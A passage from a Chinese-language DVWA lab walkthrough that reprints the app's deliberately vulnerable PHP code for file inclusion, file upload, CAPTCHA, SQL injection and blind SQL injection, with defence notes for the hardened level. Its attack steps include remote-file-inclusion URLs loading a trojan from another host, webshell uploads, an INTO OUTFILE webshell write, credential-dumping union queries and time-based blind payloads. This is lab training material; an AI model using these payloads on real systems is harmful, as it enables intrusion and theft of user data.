$file = str_replace( array( "http://", "https://" ), "", $file );	//str_replace() 函数替换字符串中的一些字符(区分大小写)
$file = str_replace( array( "../", "..\"" ), "", $file );
?>
  • 靶场实战:
    方法一:本地包含拿webshell==>
    构造Poc:http://192.168.6.138/DVWA/vulnerabilities/fi/?page=E:/phpStudy/WWW/DVWA/hackable/uploads/hacker.jpg&8=phpinfo();
    DVWA 靶场通关教程_第25张图片
    代码审计:通过函数替换特殊字符,进行恶意传参的过滤,但是函数str_replace存在缺陷,只能替换一次字符
    漏洞利用:通过绝对路径进行绕过,构造Poc包含远程木马文件,获取目标服务器webshell
    方法二:远程包含拿webshell==>
    构造Poc:http://192.168.6.138/DVWA/vulnerabilities/fi/?page=httphttp://://192.168.6.141/hacker.txt&8=phpinfo();
    DVWA 靶场通关教程_第26张图片
    代码审计:通过函数替换特殊字符,进行恶意传参的过滤,但是函数str_replace存在缺陷,只能替换一次字符
    漏洞利用:通过双写进行绕过,构造Pochttphttp://://包含远程木马文件,获取目标服务器webshell

Security Level 【High】

  • 源码分析:


// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {	//检验传参是否为file开头并且文件名是否为include.php
    // This isn't the page we want!
    echo "ERROR: File not found!";
    exit;
}
?>
  • 靶场实战:
    本地包含拿webshell==>
    构造Poc:http://192.168.6.138/DVWA/vulnerabilities/fi/?page=file://E:/phpStudy/WWW/DVWA/hackable/uploads/hacker.jpg&8=phpinfo();
    DVWA 靶场通关教程_第27张图片
    代码审计:通过函数限制了参数传参开头是否为file,可以通过PHP伪协议直接访问文件
    漏洞利用:通过伪协议直接访问上传的木马文件(fillter、file用来读取文件源码)

Security Level 【Impossible】

  • 源码分析:


// The page we wish to display
$file = $_GET[ 'page' ];

// Only allow include.php or file{1..3}.php
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {		//等同于白名单直接限制可上传文件
    // This isn't the page we want!
    echo "ERROR: File not found!";
    exit;
}
?>
  • 防御思路:
    基于白名单进行防御,确保传参为固定要求的文件名

(5)文件上传(File Upload)

原理:File Upload,即文件上传漏洞,通常是由于对上传文件的类型、内容没有进行严格的过滤、检查,使得可以通过上传webshell获取服务器权限

Security Level 【Low】

  • 源码分析:


if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );	//获取文件名

    // Can we move the file to the upload folder?
    if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {		//判断文件是否保存至服务器路径
        // No
        echo '
Your image was not uploaded.
'
; } else { // Yes! echo "
{$target_path} succesfully uploaded!
"
; } } ?>
  • 靶场实战:
    木马文件上传拿webshell==>
    DVWA 靶场通关教程_第28张图片
    代码审计:上传文件并未做任何过滤,可以直接上传一句话木马
    漏洞利用:直接上传木马==>传参==>获取webshell
    DVWA 靶场通关教程_第29张图片

Security Level 【Medium】

  • 源码分析:


if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

    // File information
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];	//获取文件名
    $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];	//获取文件类型
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];	//获取文件大小

    // Is it an image?
    if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
        ( $uploaded_size < 100000 ) ) {		//判断文件类型、大小

        // Can we move the file to the upload folder?
        if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
            // No
            echo '
Your image was not uploaded.
'
; } else { // Yes! echo "
{$target_path} succesfully uploaded!
"
; } } else { // Invalid file echo '
Your image was not uploaded. We can only accept JPEG or PNG images.
'
; } } ?>
  • 靶场实战:
    方法一:图片马绕过拿webshell==>
    DVWA 靶场通关教程_第30张图片
    代码审计:通过if条件,限制了文件上传的类型,但是可以通过图片马结合文件包含漏洞,解析木马
    漏洞利用:通过上传图片马,满足iif条件,结合文件包含漏洞解析,获取webshell
    方法二:burp抓包绕过拿webshell==>
    DVWA 靶场通关教程_第31张图片
    代码审计:通过if条件,限制了文件上传的类型,但是可以通过抓包的方式修改文件后缀,使得符合条件
    漏洞利用:通过抓包修改数据包文件后缀名,达到同样上传木马的目的,拿到webshell

Security Level 【High】

  • 源码分析:


if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

    // File information
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
    $uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);		//分割字符串。获取文件后缀名
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
    $uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];

    // Is it an image?
    if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
        ( $uploaded_size < 100000 ) &&
        getimagesize( $uploaded_tmp ) ) {	//把所有字符转换为小写

        // Can we move the file to the upload folder?
        if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {
            // No
            echo '
Your image was not uploaded.
'
; } else { // Yes! echo "
{$target_path} succesfully uploaded!
"
; } } else { // Invalid file echo '
Your image was not uploaded. We can only accept JPEG or PNG images.
'
; } } ?>
  • 靶场实战:
    图片马绕过拿webshell==>
    DVWA 靶场通关教程_第32张图片
    DVWA 靶场通关教程_第33张图片
    代码审计:增加了对文件后缀名以及基本图片信息的检验
    漏洞利用:直接上传图片马,通过图片马结合文件包含漏洞,解析木马,拿到webshell

Security Level 【Impossible】

  • 源码分析:


if( isset( $_POST[ 'Upload' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );		//校验token值


    // File information
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
    $uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
    $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
    $uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];

    // Where are we going to be writing to?
    $target_path   = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/';
    //$target_file   = basename( $uploaded_name, '.' . $uploaded_ext ) . '-';
    $target_file   =  md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;	//生成随机id并加密,重命名文件
    $temp_file     = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) ) );
    $temp_file    .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;

    // Is it an image?
    if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg' || strtolower( $uploaded_ext ) == 'png' ) &&
        ( $uploaded_size < 100000 ) &&
        ( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) &&
        getimagesize( $uploaded_tmp ) ) {		//检查上传文件信息

        // Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD)
        if( $uploaded_type == 'image/jpeg' ) {
            $img = imagecreatefromjpeg( $uploaded_tmp );	//二次渲染
            imagejpeg( $img, $temp_file, 100);
        }
        else {
            $img = imagecreatefrompng( $uploaded_tmp );
            imagepng( $img, $temp_file, 9);
        }
        imagedestroy( $img );

        // Can we move the file to the web root from the temp folder?
        if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) {	//重命名
            // Yes!
            echo "
${target_file} succesfully uploaded!
"
; } else { // No echo '
Your image was not uploaded.
'
; } // Delete any temp files if( file_exists( $temp_file ) ) unlink( $temp_file ); } else { // Invalid file echo '
Your image was not uploaded. We can only accept JPEG or PNG images.
'
; } } // Generate Anti-CSRF token generateSessionToken(); //生成新token值 ?>
  • 防御思路:
    对文件内容做严格检查
    对上传文件重命名,做数据规则过滤
    添加token验证

(6)不安全的验证码(Insecure CAPTCHA)

原理:Insecure CAPTCHA,意思是不安全的验证码,CAPTCHA是Completely Automated Public Turing Test to Tell Computers and Humans Apart (全自动区分计算机和人类的图灵测试)的简称,因为这块主要是验证流程出现了逻辑漏洞
DVWA 靶场通关教程_第34张图片

Security Level 【Low】

  • 源码分析:


if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '1' ) ) {
    // Hide the CAPTCHA form
    $hide_form = true;

    // Get input
    $pass_new  = $_POST[ 'password_new' ];
    $pass_conf = $_POST[ 'password_conf' ];

    // Check CAPTCHA from 3rd party
    $resp = recaptcha_check_answer(
        $_DVWA[ 'recaptcha_private_key'],
        $_POST['g-recaptcha-response']
    );

    // Did the CAPTCHA fail?
    if( !$resp ) {
        // What happens when the CAPTCHA was entered incorrectly
        $html     .= "

The CAPTCHA was incorrect. Please try again.
"
; $hide_form = false; return; } else { // CAPTCHA was correct. Do both new passwords match? if( $pass_new == $pass_conf ) { // Show next stage for the user echo "

You passed the CAPTCHA! Click the button to confirm your changes.
{$pass_new}\" /> {$pass_conf}\" />
"
; } else { // Both new passwords do not match. $html .= "
Both passwords must match.
"
; $hide_form = false; } } } if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) { // Hide the CAPTCHA form $hide_form = true; // Get input $pass_new = $_POST[ 'password_new' ]; $pass_conf = $_POST[ 'password_conf' ]; // Check to see if both password match if( $pass_new == $pass_conf ) { // They do! $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $pass_new = md5( $pass_new ); // Update database $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '
' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
'
); // Feedback for the end user echo "
Password Changed.
"
; } else { // Issue with the passwords matching echo "
Passwords did not match.
"
; $hide_form = false; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?>
  • 靶场实战:
    DVWA 靶场通关教程_第35张图片
    代码审计:验证过程通过两个if条件达成,其中区别在变量step传参的不同
    漏洞利用:当变量step=1时,经过验证码校验识别,当变量step=2时,可以绕过验证码校验直接传参更新数据库信息

Security Level 【Miedum】

  • 源码分析:


if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '1' ) ) {
    // Hide the CAPTCHA form
    $hide_form = true;

    // Get input
    $pass_new  = $_POST[ 'password_new' ];
    $pass_conf = $_POST[ 'password_conf' ];

    // Check CAPTCHA from 3rd party
    $resp = recaptcha_check_answer(
        $_DVWA[ 'recaptcha_private_key' ],
        $_POST['g-recaptcha-response']
    );

    // Did the CAPTCHA fail?
    if( !$resp ) {
        // What happens when the CAPTCHA was entered incorrectly
        $html     .= "

The CAPTCHA was incorrect. Please try again.
"
; $hide_form = false; return; } else { // CAPTCHA was correct. Do both new passwords match? if( $pass_new == $pass_conf ) { // Show next stage for the user echo "

You passed the CAPTCHA! Click the button to confirm your changes.
{$pass_new}\" /> {$pass_conf}\" />
"
; } else { // Both new passwords do not match. $html .= "
Both passwords must match.
"
; $hide_form = false; } } } if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) { // Hide the CAPTCHA form $hide_form = true; // Get input $pass_new = $_POST[ 'password_new' ]; $pass_conf = $_POST[ 'password_conf' ]; // Check to see if they did stage 1 if( !$_POST[ 'passed_captcha' ] ) { //检查是否传参 $html .= "

You have not passed the CAPTCHA.
"
; $hide_form = false; return; } // Check to see if both password match if( $pass_new == $pass_conf ) { // They do! $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $pass_new = md5( $pass_new ); // Update database $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '
' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
'
); // Feedback for the end user echo "
Password Changed.
"
; } else { // Issue with the passwords matching echo "
Passwords did not match.
"
; $hide_form = false; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?>
  • 靶场实战:
    DVWA 靶场通关教程_第36张图片
    代码审计:验证过程通过两个if条件达成,其中区别在变量step传参的不同,在此基础上进入step=2的if的条件中,增加passed_captcha传参的校验
    漏洞利用:当变量step=1时,经过验证码校验识别,当变量step=2并且passed_captcha=true时,可以绕过验证码校验,直接传参更新数据库信息

Security Level 【High】

  • 源码分析:


if( isset( $_POST[ 'Change' ] ) ) {
    // Hide the CAPTCHA form
    $hide_form = true;

    // Get input
    $pass_new  = $_POST[ 'password_new' ];
    $pass_conf = $_POST[ 'password_conf' ];

    // Check CAPTCHA from 3rd party
    $resp = recaptcha_check_answer(
        $_DVWA[ 'recaptcha_private_key' ],
        $_POST['g-recaptcha-response']
    );

    if (
        $resp || 
        (
            $_POST[ 'g-recaptcha-response' ] == 'hidd3n_valu3'
            && $_SERVER[ 'HTTP_USER_AGENT' ] == 'reCAPTCHA'
        )
    ){
        // CAPTCHA was correct. Do both new passwords match?
        if ($pass_new == $pass_conf) {
            $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
            $pass_new = md5( $pass_new );

            // Update database
            $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "' LIMIT 1;";
            $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '
' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
'
); // Feedback for user echo "
Password Changed.
"
; } else { // Ops. Password mismatch $html .= "
Both passwords must match.
"
; $hide_form = false; } } else { // What happens when the CAPTCHA was entered incorrectly $html .= "

The CAPTCHA was incorrect. Please try again.
"
; $hide_form = false; return; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } // Generate Anti-CSRF token generateSessionToken(); ?>
  • 靶场实战:
    DVWA 靶场通关教程_第37张图片
    代码审计:在校验验证码的过程中,if判断语句用了与判断,通过g-recaptcha-response传参的校验以及数据包USER_AGENT的校验,可以绕过验证码验证
    漏洞利用:当变量g-recaptcha-response=hidd3n_valu3和User-Agent: reCAPTCHA时,可以绕过验证码校验,与判度可以忽略验证码判断,直接传参更新数据库信息

Security Level 【Impossible】

  • 源码分析:


if( isset( $_POST[ 'Change' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Hide the CAPTCHA form
    $hide_form = true;

    // Get input
    $pass_new  = $_POST[ 'password_new' ];
    $pass_new  = stripslashes( $pass_new );
    $pass_new  = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $pass_new  = md5( $pass_new );

    $pass_conf = $_POST[ 'password_conf' ];
    $pass_conf = stripslashes( $pass_conf );
    $pass_conf = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_conf ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $pass_conf = md5( $pass_conf );

    $pass_curr = $_POST[ 'password_current' ];
    $pass_curr = stripslashes( $pass_curr );
    $pass_curr = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_curr ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $pass_curr = md5( $pass_curr );

    // Check CAPTCHA from 3rd party
    $resp = recaptcha_check_answer(
        $_DVWA[ 'recaptcha_private_key' ],
        $_POST['g-recaptcha-response']
    );

    // Did the CAPTCHA fail?
    if( !$resp ) {
        // What happens when the CAPTCHA was entered incorrectly
        echo "

The CAPTCHA was incorrect. Please try again.
"
; $hide_form = false; } else { // Check that the current password is correct $data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' ); $data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR ); $data->bindParam( ':password', $pass_curr, PDO::PARAM_STR ); $data->execute(); // Do both new password match and was the current password correct? if( ( $pass_new == $pass_conf) && ( $data->rowCount() == 1 ) ) { // Update the database $data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' ); $data->bindParam( ':password', $pass_new, PDO::PARAM_STR ); $data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR ); $data->execute(); // Feedback for the end user - success! echo "
Password Changed.
"
; } else { // Feedback for the end user - failed! echo "
Either your current password is incorrect or the new passwords did not match.
Please try again.
"
; $hide_form = false; } } } // Generate Anti-CSRF token generateSessionToken(); ?>
  • 防御思路:
    利用PDO技术防护sql注入
    要求用户输入之前的密码,加强了身份认证
    添加token验证
    验证码验证过程不再分成两部分,验证码无法绕过

(7)SQL注入(SQL Injection)

原理:通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令
本质:用户输入的数据当作代码执行
SQL注入常规思路

1、寻找注入点
2、通过注入点,尝试获取数据库相关基本信息
3、猜解数据库及其重要字段以及内容
4、通过用户信息,寻找后台登录
5、利用后台或连接的进一步信息,上传webshell或向数据库写入一句话木马,以进一步提权,直到拿到服务器权限

手工注入常规思路

1、判断是否存在注入以及注入类型(字符型/数字型)
2、猜解SQL查询语句中的字段数
3、确定显示的字段数以及字段顺序
4、获取当前数据库库名
5、获取数据库中的表名
6、获取数据库中的字段名
7、获取数据库中用户数据

Security Level 【Low】

  • 源码分析:


if( isset( $_REQUEST[ 'Submit' ] ) ) {
    // Get input
    $id = $_REQUEST[ 'id' ];

    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '
' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
'
); // Get results while( $row = mysqli_fetch_assoc( $result ) ) { //从结果集中取得一行作为关联数组 // Get values $first = $row["first_name"]; $last = $row["last_name"]; // Feedback for end user echo "
ID: {$id}
First name: {$first}
Surname: {$last}
"
; } mysqli_close($GLOBALS["___mysqli_ston"]); } ?>
  • 靶场实战:
    方法一:显错注入拿webshell==>
    ①判断是否存在注入以及注入类型
    输入点输入单引号',发现报错信息
    You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''''' at line 1
    发现注入点是字符类型
    1' and '1' = '1>页面回显正常
    1' and '1' = '2
    >页面回显报错
    发现存在SQL注入
    ②猜解SQL查询语句中的字段数
    1' order by 字段数 -- qwe
    当字段数为3时,出现报错Unknown column '3' in 'order clause',由此判断页面字段数为2
    ③确定显示的字段数以及字段顺序
    1.1' union select 1,2 -- qwe
    DVWA 靶场通关教程_第38张图片
    由此判断页面回显点在1,2
    ④获取当前数据库库名
    1.1' union select 1,database() -- qwe
    DVWA 靶场通关教程_第39张图片
    由此获取数据库库名:dvwa
    ⑤获取数据库中的表名
    1.1' union select 1,table_name from information_schema.tables where table_schema=database() limit 0,1 -- qwe
    DVWA 靶场通关教程_第40张图片
    1.1' union select 1,table_name from information_schema.tables where table_schema=database() limit 1,1 -- qwe
    DVWA 靶场通关教程_第41张图片
    由此获取表名guestbook和users
    ⑥获取数据库中的字段名
    1.1' union select 1,column_name from information_schema.columns where table_name='users' and table_schema=database() limit 0,1 -- qwe
    通过修改limit可以依次获取全部字段名(user、password等)
    ⑦获取数据库中用户数据
    1.1' union select user,password from users -- qwe
    DVWA 靶场通关教程_第42张图片
    获取用户名及密码信息
    ⑧通过SQL写入一句话木马拿webshell
    1.1' union select 1,@@datadir -- qwe
    获取存储路径:E:\phpStudy\MySQL\data
    1.1' union select 1,'' into outfile '../../WWW/camer.php' -- qwe
    写入一句话木马,获取webshell
    DVWA 靶场通关教程_第43张图片
    (注:into outfile函数写入文件,报错需要修改配置secure_file_priv="")
    代码审计:id传参拼接进select查询语句中,放入数据库执行,由于id并未做任何过滤,可以构造恶意传参
    漏洞利用:手工注入一把梭哈
    方法二:burp+sqlmap拿webshell==>
    DVWA 靶场通关教程_第44张图片
    burp抓包加*设置跑参点。sqlmap.py -r 1.txt DVWA 靶场通关教程_第45张图片
    DVWA 靶场通关教程_第46张图片
    (–dump属于高危指令,未授权不要在真实环境测试)
    代码审计:id传参拼接进select查询语句中,放入数据库执行,由于id并未做任何过滤,可以直接抓包设置传参点,使用工具一把梭哈
    漏洞利用:burp+sqlmap一把梭哈

Security Level 【Medium】

  • 源码分析:


if( isset( $_POST[ 'Submit' ] ) ) {
    // Get input
    $id = $_POST[ 'id' ];

    $id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);	//过滤特殊符号

    $query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '
' . mysqli_error($GLOBALS["___mysqli_ston"]) . '
'
); // Get results while( $row = mysqli_fetch_assoc( $result ) ) { //从结果集中取得一行作为关联数组 // Display values $first = $row["first_name"]; $last = $row["last_name"]; // Feedback for end user echo "
ID: {$id}
First name: {$first}
Surname: {$last}
"
; } } // This is used later on in the index.php page // Setting it here so we can close the database connection in here like in the rest of the source scripts $query = "SELECT COUNT(*) FROM users;"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '
' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
'
); $number_of_rows = mysqli_fetch_row( $result )[0]; mysqli_close($GLOBALS["___mysqli_ston"]); ?>
  • 靶场实战:
    burp+sqlmap拿webshell==>
    DVWA 靶场通关教程_第47张图片
    通过Burp的request模块
    1 and 1=1>回显正常
    1 and 1=2
    >回显报错
    判断注入类型是数字型,其他步骤与Low安全级别一致
    DVWA 靶场通关教程_第48张图片
    DVWA 靶场通关教程_第49张图片
    代码审计:利用下拉菜单控制传参,但是可以使用burp直接修改数据包达到同样手工注入的目的
    漏洞利用:sqlmap一把梭哈

Security Level 【High】

  • 源码分析:


if( isset( $_SESSION [ 'id' ] ) ) {
    // Get input
    $id = $_SESSION[ 'id' ];

    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";	//控制数据显示
    $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '
Something went wrong.
'
); // Get results while( $row = mysqli_fetch_assoc( $result ) ) { // Get values $first = $row["first_name"]; $last = $row["last_name"]; // Feedback for end user echo "
ID: {$id}
First name: {$first}
Surname: {$last}
"
; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?>
  • 靶场实战:
    DVWA 靶场通关教程_第50张图片
    代码审计:从 SESSION 获取 id 值,使用单引号拼接。因为 SESSION 获取值的特点,这里不能直接在当前页面注入,也不能通过sqlmap直接跑,只能进行手工注入
    漏洞利用:手工注入一把梭哈

Security Level 【Impossible】

  • 源码分析:


if( isset( $_GET[ 'Submit' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $id = $_GET[ 'id' ];

    // Was a number entered?
    if(is_numeric( $id )) {
        // Check the database
        $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
        $data->bindParam( ':id', $id, PDO::PARAM_INT );
        $data->execute();
        $row = $data->fetch();

        // Make sure only 1 result is returned
        if( $data->rowCount() == 1 ) {
            // Get values
            $first = $row[ 'first_name' ];
            $last  = $row[ 'last_name' ];

            // Feedback for end user
            echo "
ID: {$id}
First name: {$first}
Surname: {$last}
"
; } } } // Generate Anti-CSRF token generateSessionToken(); ?>
  • 防御思路:
    过滤用户输入
    使用预编译处理SQL语句
    使用owasp等安全的sql处理API

(8)SQL注入(SQL Injection-Blind)

原理:在服务器没有错误回显的时候完成的注入攻击。服务器没有错误回显,对于攻击者来说缺少了非常重要的“调试信息”,总的来说就是在注入过程中,sql语句拼接执行后,数据不能回显到前端页面,需要一些方法和测试进行判断尝试
分类

布尔盲注:
–布尔很明显Ture跟Flase,也就是说它只会根据你的注入信息返回Ture跟Flase,也就是没有之前的显错信息(没有回显点)
时间盲注:
–界面返回只用一种:Ture。无论输入任何值,返回情况都会按正常的来处理。加入特定的时间函数,通过查看web页面返回的时间差来判断注入的语句是否正确

Security Level 【Low】

  • 源码分析:


if( isset( $_GET[ 'Submit' ] ) ) {
    // Get input
    $id = $_GET[ 'id' ];

    // Check database
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors

    // Get results
    $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
    if( $num > 0 ) {
        // Feedback for end user
        echo '
User ID exists in the database.
'
; } else { // User wasn't found, so the page wasn't! header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' ); // Feedback for end user echo '
User ID is MISSING from the database.
'
; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?>
  • 靶场实战:
    ①判断是否存在注入
    1' and sleep(5) -- qwe>回显延迟
    1.1' and sleep(5) -- qwe
    >回显不延迟
    由此判断存在盲注
    ②判断数据库库名长度
    1' and if(length(database())=1,sleep(5),1) -- qwe
    通过修改length函数的等值,触发if条件,查看是否延时,就可以获取库名长度为4
    ③分割字符判断数据库库名
    1' and if(ascii(substr(database(),1,1))=1,sleep(5),1) -- qwe
    通过修改substr函数的值,触发if条件,查看是否延时,就可以获取库名
    DVWA 靶场通关教程_第51张图片
    DVWA 靶场通关教程_第52张图片
    代码审计:页面回显只用两种状态,通过布尔型判断结合字符串分割函数以及if函数,查看是否延时获取数据
    漏洞利用:盲注直接sqlmap一把梭哈,sqlmap偏爱盲注

Security Level 【Medium】

  • 源码分析:


if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $id = $_POST[ 'id' ];
    $id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $id ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Check database
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors

    // Get results
    $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
    if( $num > 0 ) {
        // Feedback for end user
        echo '
User ID exists in the database.
'
; } else { // Feedback for end user echo '
User ID is MISSING from the database.
'
; } //mysql_close(); } ?>
  • 靶场实战:
    DVWA 靶场通关教程_第53张图片
    DVWA 靶场通关教程_第54张图片
    代码审计:主要区别在于POST传参,改变了传参方式,更加安全
    漏洞利用:sqlmap一把梭哈

Security Level 【High】

  • 源码分析:


if( isset( $_COOKIE[ 'id' ] ) ) {
    // Get input
    $id = $_COOKIE[ 'id' ];

    // Check database
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors

    // Get results
    $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
    if( $num > 0 ) {
        // Feedback for end user
        echo '
User ID exists in the database.
'
